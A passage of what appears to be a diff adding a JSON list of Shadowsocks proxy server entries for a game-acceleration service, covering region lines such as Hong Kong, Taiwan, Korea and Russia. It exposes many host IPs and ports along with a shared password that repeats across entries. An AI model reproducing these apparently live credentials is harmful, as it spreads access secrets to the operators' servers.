"移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "c7d2b3a8f29a4b2db988c7bed0e3de71", + "Remark": "台湾专线716", + "HostName": "157.148.132.41", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "028d2ec74c2c42b0b3ed174095b27936", + "Remark": "台湾专线617", + "HostName": "157.148.132.41", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "22ea8439e9c74b9084ca633d3d095d30", + "Remark": "香港专线361", + "HostName": "183.60.131.171", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.170", + "dlPORT": "10001", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6e40f1665d314336b19c4dd04f75a925", + "Remark": "香港专线151", + "HostName": "157.148.133.141", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.240.171.213", + "dlPORT": "22407", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "40fa7d3ceac04b6cbe5d4c5b2e0fe9ee", + "Remark": "欧洲专线613", + "HostName": "223.71.245.177", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10019", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "032b7a1028e0401faa0c7d22bf909b6c", + "Remark": "北美专线842", + "HostName": "112.54.160.17", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10023", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10008", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "e7eccf1a67964a528dfd1f4928948174", + "Remark": "台湾专线246", + "HostName": "111.45.33.43", + "GeHostName": "", + "PORT": "10005", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "537adc5446244b4ca90ddc22bcfa3584", + "Remark": "新加坡专线247", + "HostName": "14.119.67.103", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.179", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "121.14.152.149", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "f6b21e7fa3f24531aa527db589a03bee", + "Remark": "韩国专线273", + "HostName": "210.51.35.132", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.172", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "e580a8f9bd0347dcb1bfa0600f33c7b0", + "Remark": "亚服专线352", + "HostName": "117.143.9.42", + "GeHostName": "", + "PORT": "20811", + "GePort": "", + "Method": "aes-256-gcm", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ssl", + "LineState": "停用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.241.69.105", + "dlPORT": "36003", + "dlMethod": "aes-256-gcm", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "36002", + "SIMethod": "aes-256-gcm", + "SIPassword": "dwz1GtF7", + "GameHostName": "117.143.9.42", + "GameMethod": "aes-256-gcm", + "GamePort": "20804", + "GamePassword": "dwz1GtF7", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "121.196.231.68", + "GamedfMethod": "aes-256-gcm", + "GamedfPort": "20404", + "GamedfPassword": "dwz1GtF7", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "120.232.220.199", + "WebPort": "10003", + "WebMethod": "aes-256-cfb", + "WebPassword": "dwz1GtF7", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "c9ab9ec4a54e4f3699acf4b6cd89d96b", + "Remark": "俄罗斯专线135", + "HostName": "223.71.245.185", + "GeHostName": "", + "PORT": "10008", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "俄罗斯", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10019", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "7ab1d24a55dd4e7abba44038594f7ab3", + "Remark": "俄罗斯专线945", + "HostName": "106.38.203.6", + "GeHostName": "", + "PORT": "10008", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "俄罗斯", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10019", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "5653d001eb504303b6ea34c5be05d40e", + "Remark": "亚服专线934", + "HostName": "103.238.186.112", + "GeHostName": "", + "PORT": "22410", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.124", + "dlPORT": "22407", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "240bfa714e1740da9e56b2fc5a1079a1", + "Remark": "亚服专线549", + "HostName": "117.143.9.43", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10004", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "1d0c71d15360400096f7ff4dc414a282", + "Remark": "亚服专线249", + "HostName": "210.51.35.253", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.241.69.105", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "6f31013cba78450e8d5ee330e4a9d7b1", + "Remark": "日服专线328", + "HostName": "112.54.160.43", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "日本", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "b67b34176ad54d958c6e2009414b60e6", + "Remark": "香港专线162", + "HostName": "59.37.81.97", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "120.233.6.187", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "9a859b5dca3f47508c29fcdf49cfdf73", + "Remark": "香港专线635", + "HostName": "120.241.69.108", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "183.232.156.175", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "451b707c811b4ed19c34da777caa3503", + "Remark": "香港专线165", + "HostName": "120.232.206.21", + "GeHostName": "", + "PORT": "10007", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "120.233.6.171", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "f295b0d1d07b41498efbb85e7b4bd1ae", + "Remark": "香港专线671", + "HostName": "183.60.131.171", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "120.233.6.172", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6673fd0446064551b2fe2a85395d37b2", + "Remark": "香港专线824", + "HostName": "120.232.206.21", + "GeHostName": "", + "PORT": "10005", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "183.232.156.175", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "2e64b5334e7346b9814418d3d2dde220", + "Remark": "香港专线883", + "HostName": "183.60.131.160", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港1", + "LineGame": "", + "dlHostName": "120.233.6.187", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "18877a0f057a4050812f1f63d2982e05", + "Remark": "国际专线375", + "HostName": "122.13.18.55", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.171", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": 